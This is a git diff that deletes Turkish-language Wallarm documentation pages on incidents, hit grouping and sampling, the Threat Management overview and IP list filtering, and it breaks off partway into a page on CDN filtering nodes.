![Güvenlik açığına ilişkin ayrıntılı bilgiler](../../images/user-guides/vulnerabilities/vuln-info.png) - - Güvenlik açığını düzeltin ve ardından Wallarm içinde kapalı olarak işaretleyin. Ayrıntılar için [Güvenlik Açıklarını Yönetme](../vulnerabilities.md) makalesine bakın. -1. Listede olaya geri dönün, sistem tepkisine hangi mekanizmanın neden olduğunu araştırın (saldırıların `Blocked`, `Partially blocked` ve `Monitoring` [durumlarına](check-attack.md#attack-analysis) dikkat edin), sistemin benzer isteklere gelecekte nasıl davranacağını ve gerekirse bu gelecekteki davranışın nasıl ayarlanacağını değerlendirin. - - Olaylar için bu araştırma ve ayarlama, diğer tüm saldırılarda olduğu [gibi](check-attack.md#responding-to-attacks) aynı şekilde gerçekleştirilir. - -## Olayları almak için API çağrıları - -Olay ayrıntılarını almak için, Wallarm Console arayüzünü kullanmanın yanı sıra [Wallarm API'yi doğrudan çağırabilirsiniz](../../api/overview.md). Aşağıda, son 24 saatte tespit edilen ilk 50 olayı alma amaçlı API çağrısına bir örnek verilmiştir. - -İstek, saldırı listesi için [kullanılan](check-attack.md#api-calls) istekle benzerdir; olayı sorgulamak için isteğe `"!vulnid": null` terimi eklenir. Bu terim, API'ye güvenlik açığı kimliği (ID) belirtilmemiş tüm saldırıları yok saymasını söyler ve sistemin saldırıları olaylardan bu şekilde ayırt etmesini sağlar. - -Lütfen `TIMESTAMP` değerini, 24 saat önceki tarihin [Unix Zaman Damgası](https://www.unixtimestamp.com/) biçimine dönüştürülmüş haliyle değiştirin. - ---8<-- "../include/api-request-examples/get-incidents-en.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/events/grouping-sampling.md b/docs/latest-tr/user-guides/events/grouping-sampling.md deleted file mode 100644 index 53b5203d47..0000000000 --- a/docs/latest-tr/user-guides/events/grouping-sampling.md +++ /dev/null @@ -1,98 +0,0 @@ -[link-using-search]: ../search-and-filters/use-search.md -[img-current-attacks]: ../../images/glossary/attack-with-one-hit-example.png -[img-incidents-tab]: ../../images/user-guides/events/incident-vuln.png -[img-show-falsepositive]: ../../images/user-guides/events/filter-for-falsepositive.png -[use-search]: ../search-and-filters/use-search.md -[search-by-attack-status]: ../search-and-filters/use-search.md#search-attacks-by-the-action -[img-verify-attack]: ../../images/user-guides/events/verify-attack.png -[al-brute-force-attack]: ../../attacks-vulns-list.md#brute-force-attack -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-bola]: ../../attacks-vulns-list.md#broken-object-level-authorization-bola -[link-analyzing-attacks]: analyze-attack.md -[img-false-attack]: ../../images/user-guides/events/false-attack.png -[img-removed-attack-info]: ../../images/user-guides/events/removed-attack-info.png -[link-check-attack]: check-attack.md -[link-false-attack]: false-attack.md -[img-current-attack]: ../../images/user-guides/events/analyze-current-attack.png -[glossary-attack-vector]: ../../glossary-en.md#malicious-payload - -# Hit'lerin Gruplandırılması ve Örneklenmesi - -[saldırıları analiz ederken](check-attack.md), kötü amaçlı isteklerin nasıl sunulduğunu anlamak önemlidir. Wallarm, saldırı listesini basitleştirmek için hit gruplandırma ve örnekleme tekniklerini kullanır. Bu teknikler bu makalede açıklanmaktadır. - -## Hit'lerin gruplandırılması - -Wallarm, [hit'leri](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components) tek bir saldırıda aşağıdaki iki gruplandırma yöntemiyle bir araya getirir: - -* Temel gruplandırma -* Kaynak IP'ye göre hit gruplandırma - -Bu yöntemler birbirini dışlamaz. Hit'ler her iki yöntemin özelliklerini taşıyorsa, hepsi tek bir saldırıda gruplandırılır. - -### Temel gruplandırma - -Hit'ler aynı saldırı türüne, kötü amaçlı payload içeren parametreye ve hit'lerin gönderildiği adrese sahipse gruplandırılır. Hit'ler aynı veya farklı IP adreslerinden gelebilir ve aynı saldırı türü içinde kötü amaçlı payload değerleri farklı olabilir. - -Bu hit gruplandırma yöntemi temeldir, tüm hit'lere uygulanır ve devre dışı bırakılamaz veya değiştirilemez. - -### Kaynak IP'ye göre hit gruplandırma - -Hit'ler aynı kaynak IP adresine sahipse gruplandırılır. Gruplandırılan hit'lerin saldırı türleri, kötü amaçlı payload'ları ve URL'leri farklıysa, saldırı parametreleri saldırı listesinde `[multiple]` etiketiyle işaretlenir. - -Bu hit gruplandırma yöntemi Brute force, Forced browsing, BOLA (IDOR), Resource overlimit, Data bomb ve Virtual patch saldırı türleri dışındaki tüm hit'ler için çalışır. - -Hit'ler bu yöntemle gruplandırılmışsa, [**Mark as false positive**](check-attack.md#false-positives) butonu ve [active verification](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing) seçeneği bu saldırı için kullanılamaz. - -Kaynak IP'ye göre gruplandırma varsayılan olarak Wallarm Console → **Triggers** bölümünde, tek bir IP adresi 15 dakika içinde 50'den fazla hit ürettiğinde tetiklenen **Hits from the same IP** varsayılan trigger'ı ile etkindir. - -![Hit gruplandırma için trigger örneği](../../images/user-guides/triggers/trigger-example-group-hits.png) - -Kaynak IP'ye göre gruplandırmayı ihtiyaçlarınıza göre ayarlayabilirsiniz: **Hits from the same IP** tipindeki kendi özel trigger'larınızı oluşturarak bunu yapın. Herhangi bir özel trigger oluşturmak varsayılan olanı siler, tüm özel trigger'larınızı silerseniz varsayılan geri yüklenir. Ayrıca varsayılan trigger'ı geçici olarak devre dışı bırakarak gruplandırmayı duraklatabilirsiniz. - -## Hit'lerin örneklenmesi - -Saldırı ayrıntılarını oluştururken, Wallarm yalnızca benzersiz [hit'leri](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components) göstererek saldırıyla ilgili bilgileri analiz için daha konforlu hale getirir - benzersiz olmayan (karşılaştırılabilir ve özdeş) hit'ler Wallarm Cloud'a yüklenmekten çıkarılır ve görüntülenmez. Bu sürece hit **örnekleme** denir. - -Hit örnekleme, saldırı tespitinin kalitesini etkilemez ancak yavaşlamasını önlemeye yardımcı olur. Wallarm node, hit örnekleme etkin olsa bile saldırı tespitini ve [engellemeyi](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) sürdürür. - -**Hits sampling is enabled** bildirimi, örneklemenin şu anda çalıştığını gösterir. Yalnızca örneklemenin uygulandığı saldırıları görmek için bu bildirime tıklayabilir veya arama alanına [`sampled`](../search-and-filters/use-search.md#search-for-sampled-hits) ekleyebilirsiniz. Saldırı ayrıntılarında, kaç benzer hit'in tespit edildiğini ancak gösterilmediğini göreceksiniz: - -![Düşürülen hit'ler](../../images/user-guides/events/bruteforce-dropped-hits.png) - -!!! info "Saldırı listesinde düşürülen hit'lerin görüntülenmesi" - Düşürülen hit'ler Wallarm Cloud'a yüklenmediğinden, belirli hit'ler veya tüm saldırılar saldırı listesinde bulunmayabilir. - -Düşürülen istekler yine de Wallarm node tarafından işlenen istekler olduğundan, node ayrıntıları UI'ında RPS değeri her düşürülen istekle birlikte artar. [Threat Prevention dashboard](../dashboards/threat-prevention.md) üzerindeki istek ve hit sayısı da düşürülen hit'lerin sayısını içerir. - -**Hit örnekleme etkin olduğunda** - -* [Girdi doğrulama saldırıları](../../attacks-vulns-list.md#attack-types) için, hit örnekleme varsayılan olarak devre dışıdır. Trafiğinizdeki saldırı yüzdesi yüksekse, hit örnekleme art arda iki aşamada gerçekleştirilir: **aşırı** ve **normal**. -* [Davranışsal saldırılar](../../attacks-vulns-list.md#attack-types), [Data bomb](../../attacks-vulns-list.md#data-bomb) ve [Resource overlimiting](../../attacks-vulns-list.md#resource-overlimit) saldırıları için: **normal** örnekleme algoritması varsayılan olarak etkindir. **Aşırı** örnekleme yalnızca trafiğinizdeki saldırı yüzdesi yüksekse başlar. -* Denylist'e alınmış IP'lerden gelen olaylar için örnekleme node tarafında yapılandırılır. Cloud'a yalnızca ilk 10 özdeş isteği yükler, geri kalan hit'lere örnekleme algoritması uygular. - -Trafikteki saldırı yüzdesi azaldığında örnekleme otomatik olarak devre dışı bırakılır. - -### Aşırı örnekleme - -Aşırı örnekleme algoritmasının temel mantığı aşağıdaki gibidir: - -* Hit'ler [girdi doğrulama](../../attacks-vulns-list.md#attack-types) türündeyse, algoritma Cloud'a yalnızca benzersiz [kötü amaçlı payload](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components) içerenleri yükler. Bir saat içinde aynı payload'a sahip birden fazla hit tespit edilirse, bunların yalnızca ilki Cloud'a yüklenir, diğerleri düşürülür. -* Hit'ler [davranışsal](../../attacks-vulns-list.md#attack-types), [Data bomb](../../attacks-vulns-list.md#data-bomb) veya [Resource overlimiting](../../attacks-vulns-list.md#resource-overlimit) türündeyse, algoritma bir saat içinde tespit edilenlerin yalnızca ilk %10'unu Cloud'a yükler. - -### Normal örnekleme - -Normal algoritma, [davranışsal](../../attacks-vulns-list.md#attack-types), [Data bomb](../../attacks-vulns-list.md#data-bomb) veya [Resource overlimiting](../../attacks-vulns-list.md#resource-overlimit) türünde olmadıkça yalnızca aşırı aşamadan sonra kaydedilen hit'leri işler. Bu tür hit'ler için aşırı örnekleme devre dışıysa, normal algoritma orijinal hit kümesini işler. - -Normal örnekleme algoritmasının temel mantığı aşağıdaki gibidir: - -1. Her saat için ilk 5 özdeş hit, Wallarm Cloud'da örnek olarak saklanır. Geri kalan hit'ler örneğe kaydedilmez, ancak sayıları ayrı bir parametrede kaydedilir. - - Hit'ler, aşağıdaki parametrelerin tamamı aynı değerlere sahipse özdeştir: - - * Saldırı türü - * Kötü amaçlı payload içeren parametre - * Hedef adres - * İstek yöntemi - * Yanıt kodu - * Kaynak IP adresi -2. Hit örnekleri, olay listesinde [saldırılar](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components) halinde gruplandırılır. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/events/overview.md b/docs/latest-tr/user-guides/events/overview.md deleted file mode 100644 index d5748f64c9..0000000000 --- a/docs/latest-tr/user-guides/events/overview.md +++ /dev/null @@ -1,69 +0,0 @@ -# Threat Management Genel Bakış - -Wallarm'ın Threat Management'ı güvenlik duruşunuza ilişkin tam, gerçek zamanlı bir görünüm sağlar ve kullanılan koruma araçlarını kontrol etmenize olanak tanır. Bu makale, Threat Management bileşenlerine, amaçlarına ve başlıca imkanlarına genel bir bakış sunar. - -## Genel Bakış - -Threat Management neler olup bittiğine dair tam bir resim sunar: - -* Saldırılar, uç noktalar, çalışır durumdaki koruma araçları için görselleştirilmiş, etkileşimli özet mi istiyorsunuz? [dashboards](#dashboards) kullanın. -* Gerçekleşen saldırıları, alınan önlemleri ve bu önlemleri sağlayan araçları görmek mi istiyorsunuz? [attacks](#attacks) ile çalışın, araçları kolayca [ayarlayın](check-attack.md#responding-to-attacks). -* Aynı şekilde [incidents](#incidents) ile çalışın. -* Tekil bir saldırı size olup biteni tam olarak anlatmıyor mu? Saldırınızın parçası olduğu [session](#sessions) görünümüne geçin ve kullanıcının önceki ve sonraki tüm aktivitelerini görün. -* Session belirli uç noktalar etrafında mı? Wallarm'ın otomatik olarak keşfettiği tam uç nokta bilgisine geçin ([API Discovery](../../api-discovery/overview.md) gerektirir). Burada uç noktanız için hızlıca kurallar oluşturun. -* Saldırılar, olaylar veya zafiyetlerle ilgili bilgilendirici belgeler mi istiyorsunuz? Seçtiğiniz filtrelenmiş verilerle PDF veya CSV [reports](#reports) oluşturun. - -![Threat Management](../../images/user-guides/events/tm-diagram.png) - -Tüm Threat Management bileşenleri gelişmiş arama ve filtreleme yetenekleri içerir. Ayrıca, seçtiğiniz filtrelenmiş içerikle saldırılar ve olaylar için PDF ve CSV raporlar oluşturabilirsiniz. Wallarm, istekleri mantıksal olarak saldırılar ve sessions içine birleştirmek için gelişmiş gruplama mekanizmaları kullanır ve uygulama mantığınıza tam uyum sağlamak için Sessions tespitinin nasıl yapıldığını değiştirmenize olanak tanır. - -## Dashboards - -Threat Management'ın dashboards'ı güvenlik sınırınız ve duruşunuz için görselleştirilmiş özetler sunar. Tamamı etkileşimli olan bu içerikler, sistemin farklı bölümlerindeki ayrıntılara ve verilere ile yapılandırma araçlarına hızlı erişim sağlar. - -![Threat Management - dashboards](../../images/user-guides/events/tm-overview-dashboards.png) - -* Kötü amaçlı trafik hacmini ve bunun saldırı türlerine, kaynaklara, protokollere, kimlik doğrulama yöntemlerine vb. göre dağılımını [**Threat Prevention**](../../user-guides/dashboards/threat-prevention.md) dashboard'ı ile net biçimde görün. -* Wallarm'ın API Discovery özelliği tarafından toplanan API verilerinizi [**API Discovery**](../../user-guides/dashboards/api-discovery.md) dashboard'ı ile gözden geçirin. -* [**OWASP API Security Top 10 - 2023**](../../user-guides/dashboards/owasp-api-top-ten.md) dashboard'ında OWASP API Security Top 10 2023 kapsamınızı kontrol edin ve güvenlik kontrollerini proaktif olarak uygulayın. - -## Attacks - -Wallarm uygulama trafiğini sürekli analiz eder, saldırıları gerçek zamanlı olarak tespit eder ve etkisiz hale getirir. Wallarm Console içindeki [**Attacks**](check-attack.md) bölümü, güvenlik sınırınıza yönelik mevcut sızma girişimlerini analiz etmek ve bunlara karşı korunduğunuzdan emin olmak için merkezi merkezdir; ayrıca ek güvenlik önlemlerini yapılandırma aracıdır. - -![Threat Management - Attacks](../../images/user-guides/events/filter-for-falsepositive.png) - -**Attacks** bölümüyle şunları yapabilirsiniz: - -* Mevcut saldırıları ve Wallarm'ın aldığı önlemleri görün ve görüntülediklerinizi şunlarla sınırlandırın: - - * Belirli türlerdeki saldırılar - * Belirli IP'lerden veya coğrafi konumlardan - * Belirli bir zamanda gerçekleşen - * Belirli uygulamalara veya etki alanlarına yönelik - * vb. - -* Aynı bilgiyi farklı dönemler için görüntüleyin - son 3 aya kadar -* Gelecekte benzer saldırıların ele alınması için [rules](../../user-guides/rules/rules.md#what-you-can-do-with-rules) oluşturun veya değiştirin -* [false positives](check-attack.md#false-positives) vurgulayarak Wallarm'ın karar verme sürecini düzeltin - -## Incidents - -Incidents, doğrulanmış bir zafiyeti hedef alan saldırılardır. Wallarm Console'daki [**Incidents**](check-incident.md) bölümü, tüm genel saldırı verilerini sömürmeye çalıştığı zafiyetle ilişkilendirir ve böylece şunları yapabilirsiniz: - -* **Attacks** içinde mevcut olan tüm bilgi ve araçlara sahip olun -* İlgili zafiyet verilerini ve onunla ilgili tam bilgileri edinin - -![Threat Management - Incidents](../../images/user-guides/events/incident-vuln.png) - -## Sessions - -[**API Sessions**](../../api-sessions/overview.md)'ın ele aldığı birincil zorluk, Wallarm tarafından tespit edilen tekil saldırılar görüntülendiğinde tam bağlam eksikliğidir. Her session içindeki istek ve yanıtların mantıksal sırasını yakalayarak, API Sessions daha geniş saldırı kalıplarına dair içgörüler sağlar ve güvenlik önlemlerinin etki ettiği iş mantığı alanlarını belirlemeye yardımcı olur. - -![!API Sessions bölümü - izlenen sessions](../../images/api-sessions/api-sessions.png) - -## Reports - -Saldırılar, incidents veya zafiyetler için PDF veya CSV [reports](../../user-guides/search-and-filters/custom-report.md) oluşturun. Seçilmiş veriler mi istiyorsunuz? Filtreleri uygulayın; yalnızca filtrelenen veriler raporun bir parçası olacaktır. - -![Attacks - rapor oluşturma](../../images/user-guides/search-and-filters/custom-report.png) diff --git a/docs/latest-tr/user-guides/ip-lists/overview.md b/docs/latest-tr/user-guides/ip-lists/overview.md deleted file mode 100644 index cba43c2b95..0000000000 --- a/docs/latest-tr/user-guides/ip-lists/overview.md +++ /dev/null @@ -1,178 +0,0 @@ -# IP'ye göre filtreleme - -Wallarm Console'un **IP lists** bölümünde, IP adreslerini, coğrafi konumları, veri merkezlerini veya source types'ları allowlisting, denylisting ve graylisting uygulayarak uygulamalarınıza erişimi kontrol edebilirsiniz. - -* **Allowlist**, Wallarm korumasını atlayan ve uygulamalarınıza herhangi bir kontrol olmadan erişen güvenilir kaynaklar listesidir. -* **Denylist**, uygulamalarınıza erişemeyen kaynaklar listesidir - bunlardan gelen tüm istekler engellenecektir. -* **Graylist**, yalnızca **Safe blocking** [filtration mode](../../admin-en/configure-wallarm-mode.md) modunda şu şekilde düğüm tarafından işlenen şüpheli kaynaklar listesidir: graylist'teki IP kötü amaçlı istekler gönderirse, düğüm bu istekleri engellerken meşru istekleri izin verir; diğer IP'lerden gelen istekler ise asla engellenmez, ancak kötü amaçlı olanlar tespit edilir ve **Attacks** bölümünde `Monitoring` durumuyla görüntülenir. - - Graylist'teki IP'lerden gelen kötü amaçlı istekler aşağıdaki saldırı türlerinin belirtilerini içeren isteklere karşılık gelir: - - * [Girdi doğrulama saldırıları](../../attacks-vulns-list.md#attack-types) - * [vpatch türü saldırılar](../rules/vpatch-rule.md) - * [Düzenli ifadelere dayalı olarak tespit edilen saldırılar](../rules/regex-rule.md) - -![Tüm IP listeleri](../../images/user-guides/ip-lists/ip-lists-home-apps.png) - -## Allowlist, denylist ve graylist birlikte nasıl çalışır - -Filtreleme düğümü, IP listelerini analiz etmek için seçilen çalışma [mode](../../admin-en/configure-wallarm-mode.md)'una göre farklı yaklaşımlar kullanır. Bazı modlarda allowlists, denylists ve graylists olmak üzere üç tür IP listesinin tamamını değerlendirir. Ancak, diğer modlarda yalnızca belirli IP listelerine odaklanır. - -Aşağıda sunulan görsel, her çalışma modunda IP listelerinin önceliklerini ve kombinasyonlarını görsel olarak temsil ederek hangi listelerin dikkate alındığını vurgular: - -![IP listesi öncelikleri](../../images/user-guides/ip-lists/ip-lists-priorities.png) - -Bunun anlamı şudur: - -* Herhangi bir modda, IP önceki listede bulunursa, bir sonraki dikkate alınmaz. -* Graylist yalnızca `Safe blocking` modunda dikkate alınır. - -!!! warning "İstisnalar" - Eğer [`wallarm_acl_access_phase off`](../../admin-en/configure-parameters-en.md#wallarm_acl_access_phase) ise, Wallarm düğümü `Monitoring` modunda denylist'teki IP'lerden gelen istekleri engellemez. - -## IP listelerini yapılandırma - -Adımlar: - -1. Amacınıza bağlı olarak hangi listeyi kullanacağınıza karar verin. -1. [Hangi nesnenin ekleneceğini](#select-object) seçin: IP, alt ağ, konum, source type. -1. Nesnenin listede kalacağı [süreyi seçin](#select-time-to-stay-in-list) (genellikle sonsuza kadar değildir). -1. [Hedef uygulamaya göre sınırlandırın](#limit-by-target-application) (tüm istekler değil, yalnızca belirli uygulamayı hedefleyenler). - -### Nesne seçin {#select-object} - -Herhangi bir IP listesine aşağıdakileri eklemek için **Add object** kullanın: - -* **IP veya alt ağ** - desteklenen maksimum alt ağ maskesi IPv6 adresleri için `/32`, IPv4 adresleri için `/12`'dir. - -* Bu ülke veya bölgede kayıtlı tüm IP adreslerini eklemek için **Konum** (ülke veya bölge) -* Bu türe ait tüm IP adreslerini eklemek için **Source type**. Mevcut türler: - - * Search Engines - * Datacenters (AWS, GCP, Oracle, etc.) - * Anonymous sources (Tor, Proxy, VPN) - * [Malicious IPs](#malicious-ip-feeds) - -![IP listesine nesne ekleme](../../images/user-guides/ip-lists/add-ip-to-list.png) - -!!! info "IP listelerinin otomatik doldurulması" - Nesneleri manuel eklemeye ek olarak, **tercih edilen** [otomatik liste doldurmayı](#automatic-listing) kullanabileceğinizi unutmayın. - -### Listede kalma süresini seçin {#select-time-to-stay-in-list} - -Bir nesneyi listeye eklerken, ne kadar süreyle ekleneceğini belirtirsiniz. Minimum süre 5 dakika, varsayılan 1 saat, maksimum ise sonsuzdur. Süre dolduğunda nesne listeden otomatik olarak silinir. - -Belirtilen süreyi daha sonra istediğiniz anda değiştirebilirsiniz - bunu yapmak için nesnenin menüsünde **Change time period**'a tıklayın ve ayarlamaları yapın. - -Bu süreyi ayarlamak, nesneleri manuel ekleme ve silme ile birlikte, IP listelerinin zamanla değişmesine yol açar. Tüm listelerin [geçmiş durumlarını](#ip-list-history) görüntüleyebilirsiniz. - -### Hedef Applications ile sınırlandırma {#limit-by-target-application} - -Bir nesneyi listeye eklerken, varsayılan olarak listelenen IP'den gelen tüm istekler işlenir. Ancak bunu hedef [applications](../../user-guides/settings/applications.md) ile sınırlayabilirsiniz: bir veya birkaç application seçin ve yalnızca listelenen IP'den bu applications'a yönelik istekler işlenecektir. - -## Kötü amaçlı IP beslemeleri {#malicious-ip-feeds} - -**Malicious IPs** [source type](#select-object)'ını IP listelerinden birine eklerken, bunun herkese açık kaynaklarda belirtilen ve uzman analiziyle doğrulanmış, kötü amaçlı etkinlikle iyi bilinen tüm IP adreslerini içereceğini dikkate alın. Bu verileri aşağıdaki kaynakların bir kombinasyonundan çekiyoruz: - -* [Collective Intelligence Network Security](http://cinsscore.com/list/ci-badguys.txt) -* [Proofpoint Emerging Threats Rules](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) -* [DigitalSide Threat-Intel Repository](http://osint.digitalside.it/Threat-Intel/lists/latestips.txt) -* [GreenSnow](https://blocklist.greensnow.co/greensnow.txt) -* [www.blocklist.de](https://www.blocklist.de/en/export.html) -* [NGINX ultimate bad bot blocker](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-ip-addresses.list) -* [IPsum](https://github.com/stamparm/ipsum) - -## IP listesi geçmişi {#ip-list-history} - -IP listelerinin yalnızca mevcut durumu değil, aynı zamanda [geçmişteki](#select-time-to-stay-in-list) durumları da vardır ve bunlar farklı olabilir. IP listesi içeriğini incelemek için belirli tarihleri seçin; sistem, ekleme zamanı ve yönteminin (manuel veya otomatik) ayrıntılı olarak yer aldığı bir **History** döndürecektir. Rapor ayrıca değişikliklerden sorumlu kişilere ve her eklemenin nedenlerine ilişkin verileri de sunar. Bu tür içgörüler, uyumluluk ve raporlama için bir denetim izi sağlamaya yardımcı olur. - -![IP Listesi geçmişi](../../images/user-guides/ip-lists/ip-list-history.png) - -Listenin mevcut durumunu almak için **Now** sekmesine geri dönerek, listede şu anda yer alan nesneleri görüntüleyebilirsiniz. - -## Otomatik listeleme {#automatic-listing} - -Wallarm'ın şüpheli trafik üreten IP adreslerini otomatik olarak denylist'e veya graylist'e almasını etkinleştirebilirsiniz. Bu, şu durumlar için yapılabilir: - -* [API abuse prevention](../../api-abuse-prevention/overview.md) -* [Brute force protection](../../admin-en/configuration-guides/protecting-against-bruteforce.md) -* [Forced browsing protection](../../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) -* [BOLA protection](../../admin-en/configuration-guides/protecting-against-bola-trigger.md) -* [Multi-attack protection](../../admin-en/configuration-guides/protecting-with-thresholds.md) - -Şunu unutmayın: Otomatik olarak listeye alınmış bir IP'yi manuel olarak silerseniz, yeni kötü amaçlı etkinlik tespit edilirse tekrar otomatik olarak eklenecektir ancak: - -* **Önceki sürenin** yarısından önce değil - - Örneğin, bir IP adresi üzerinden gelen bir BOLA saldırısı nedeniyle otomatik olarak 4 saatliğine denylist'e alındıysa ve siz onu denylist'ten silerseniz, saldırılar olsa bile sonraki 2 saat içinde tekrar eklenmez. - -* **API Abuse Prevention** için - derhal - -## Denylist'teki IP'lerden gelen istekler - -Bir IP denylist'te olsa bile, ondan gelen sonraki istekler hakkında bilgi sahibi olmak iyidir. Bu, IP'nin davranışının hassas analizini yapmayı sağlar. Wallarm, denylist'teki kaynak IP'lerden engellenen isteklere ilişkin istatistikleri toplar ve gösterir. - -!!! info "Özellik kullanılabilirliği" - Özellik, NGINX tabanlı düğümler için düğüm sürüm 4.8'den itibaren mevcuttur. Bunu [wallarm_acl_export_enable](../../admin-en/configure-parameters-en.md#wallarm_acl_export_enable) yönergesiyle kontrol edebilirsiniz. - -Bu bilgiler şunlar için kullanılabilir: - -* Manuel olarak denylist'e alınan IP'ler -* Şu mekanizmalar tarafından otomatik olarak denylist'e alınan IP'ler: - - * [API abuse prevention](../../api-abuse-prevention/overview.md) - * [Brute force protection](../../admin-en/configuration-guides/protecting-against-bruteforce.md) - * [Forced browsing protection](../../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) - * [BOLA protection](../../admin-en/configuration-guides/protecting-against-bola-trigger.md) - * [Multi-attack protection](../../admin-en/configuration-guides/protecting-with-thresholds.md) - -Listelenen davranışsal saldırılar yalnızca belirli istatistikler biriktirildikten sonra tespit edilebilir; gerekli miktar ilgili tetikleyici eşiklerine bağlıdır. Bu nedenle ilk aşamada, denylist'e alınmadan önce, Wallarm bu bilgiyi toplar ancak tüm istekler iletilir ve `Monitoring` durumuyla saldırılar olarak görüntülenir. - -Tetikleyici eşikleri aşıldığında, Wallarm IP'yi denylist'e ekler ve sonraki istekleri engeller. Bu IP'den gelen `Blocked` istekleri Attacks listesinde görürsünüz. Bu, manuel olarak denylist'e alınan IP'ler için de geçerlidir. - -![Denylist'teki IP'lerle ilgili olaylar - veri gönderimi etkin](../../images/user-guides/events/events-denylisted-export-enabled.png) - -Denylist'teki IP'lerden gelen istekleri bulmak için [search tags of filters](../../user-guides/search-and-filters/use-search.md#search-by-attack-type) kullanın: otomatik listelemeler için [API abuse related](../../attacks-vulns-list.md#api-abuse), `brute`, `dirbust`, `bola`, `multiple_payloads`, manuel olanlar için `blocked_source`. - -Search/filters'ın, her saldırı türü için hem `Monitoring` durumundaki saldırıları hem de - bilgi gönderimi etkinse - `Blocked` durumundakileri göstereceğini unutmayın. Manuel olarak denylist'e alınan IP'ler için `Monitoring` durumunda bir saldırı hiç oluşmaz. - -`Blocked` durumundaki saldırılar arasında, denylist'e alınma nedenine geçmek için etiketleri kullanın - BOLA ayarları, API Abuse Prevention, trigger veya denylist'teki ilgili kayıt. - -## Denylist'e alınan IP'ler için bildirim alma - -Her gün kullandığınız mesajlaşma veya SIEM sistemleri üzerinden yeni denylist'e alınan IP'ler hakkında bildirimler alabilirsiniz. Bildirimleri etkinleştirmek için, **Triggers** bölümünde **Denylisted IP** koşuluna sahip bir veya birkaç trigger yapılandırın, örneğin: - -![Denylist'e alınan IP için tetikleyici örneği](../../images/user-guides/triggers/trigger-example4.png) - -**Trigger'ı test etmek için:** - -1. Wallarm Console → **Integrations** bölümüne [US](https://us1.my.wallarm.com/integrations/) veya [EU](https://my.wallarm.com/integrations/) cloud'unda gidin ve [Slack ile entegrasyonu](../../user-guides/settings/integrations/slack.md) yapılandırın. -1. **Triggers** içinde, yukarıda gösterildiği gibi bir trigger oluşturun. -1. **IP Lists** → **Denylist**'e gidin ve `1.1.1.1` IP'sini "It is a malicious bot" nedeni ile ekleyin. -1. Slack kanalınızdaki şu gibi mesajları kontrol edin: - ``` - [wallarm] Yeni bir IP adresi denylist'e alındı - - Notification type: ip_blocked - - IP address 1.1.1.1, "It is a malicious bot" nedeniyle - 2024-01-19 15:02:16 +0300 tarihine kadar denylist'e alındı. Denylist'e alınan IP adreslerini - Wallarm Console'un "IP lists → Denylist" bölümünde inceleyebilirsiniz. - - Bu bildirim "Notify about new denylisted IPs" trigger'ı tarafından tetiklendi. - IP, application default için engellendi. - - Client: Your Company - Cloud: EU - ``` - -## Yük dengeleyiciler ve CDN'lerin arkasındaki düğümlerin IP listeleriyle çalışacak şekilde yapılandırılması - -Wallarm düğümü bir yük dengeleyici veya CDN'in arkasında bulunuyorsa, son kullanıcı IP adreslerini doğru şekilde raporlamak için Wallarm düğümünüzü yapılandırdığınızdan emin olun: - -* [NGINX tabanlı Wallarm düğümleri için talimatlar](../../admin-en/using-proxy-or-balancer-en.md) (AWS / GCP imajları ve Docker düğüm konteyneri dahil) -* [Wallarm Kubernetes Ingress controller olarak dağıtılan filtreleme düğümleri için talimatlar](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## API üzerinden listeleri yönetme - -Herhangi bir IP listesinin içeriğini alabilir, nesnelerle doldurabilir ve doğrudan [Wallarm API'yi arayarak](../../api/request-examples.md#api-calls-to-get-populate-and-delete-ip-list-objects) nesneleri listeden silebilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/nodes/cdn-node.md b/docs/latest-tr/user-guides/nodes/cdn-node.md deleted file mode 100644 index 57af9d0863..0000000000 --- a/docs/latest-tr/user-guides/nodes/cdn-node.md +++ /dev/null @@ -1,90 +0,0 @@ -[cdn-node-operation-scheme]: ../../images/waf-installation/quickstart/cdn-node-scheme.png -[data-to-wallarm-cloud-docs]: ../rules/sensitive-data-rule.md -[operation-modes-docs]: ../../admin-en/configure-wallarm-mode.md -[operation-mode-rule-docs]: ../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode -[wallarm-cloud-docs]: ../../about-wallarm/overview.md#cloud -[cdn-node-creation-modal]: ../../images/waf-installation/quickstart/cdn-node-creation-modal.png -[cname-required-modal]: ../../images/waf-installation/quickstart/cname-required-modal.png -[attacks-in-ui]: ../../images/admin-guides/test-attacks-quickstart.png -[user-roles-docs]: ../settings/users.md -[update-origin-ip-docs]: #updating-the-origin-address-of-the-protected-resourse -[rules-docs]: ../rules/rules.md -[ip-lists-docs]: ../ip-lists/overview.md -[integration-docs]: ../settings/integrations/integrations-intro.md -[trigger-docs]: ../triggers/triggers.md -[application-docs]: ../settings/applications.md -[events-docs]: ../events/check-attack.md -[graylist-populating-docs]: ../ip-lists/overview.md -[link-app-conf]: ../settings/applications.md -[using-varnish-cache]: #using-varnish-cache - -# CDN filtreleme düğümleri - -Wallarm Console UI'nin **Nodes** bölümü, [**Wallarm node**](nodes.md) ve **CDN düğümü** türlerindeki düğümleri yönetmenizi sağlar. Bu makale CDN düğümleri hakkındadır. - -!!! info "Ücretsiz katmanda CDN düğümleri" - [Security Edge Free Tier](../../about-wallarm/subscription-plans.md#security-edge-free-tier) abonelik planında CDN düğümü türünün dağıtımı desteklenmez. - ---8<-- "../include/waf/installation/cdn-node/how-cdn-node-works.md" - -## Bir düğüm oluşturma - -CDN düğümünü oluşturmak için lütfen [yönergeleri](../../installation/cdn-node.md) izleyin. - -## Bir düğümün ayrıntılarını görüntüleme - -Yüklü düğümün ayrıntıları her düğümün tablosunda ve kartında görüntülenir. Kartı açmak için ilgili tablo kaydına tıklayın. - 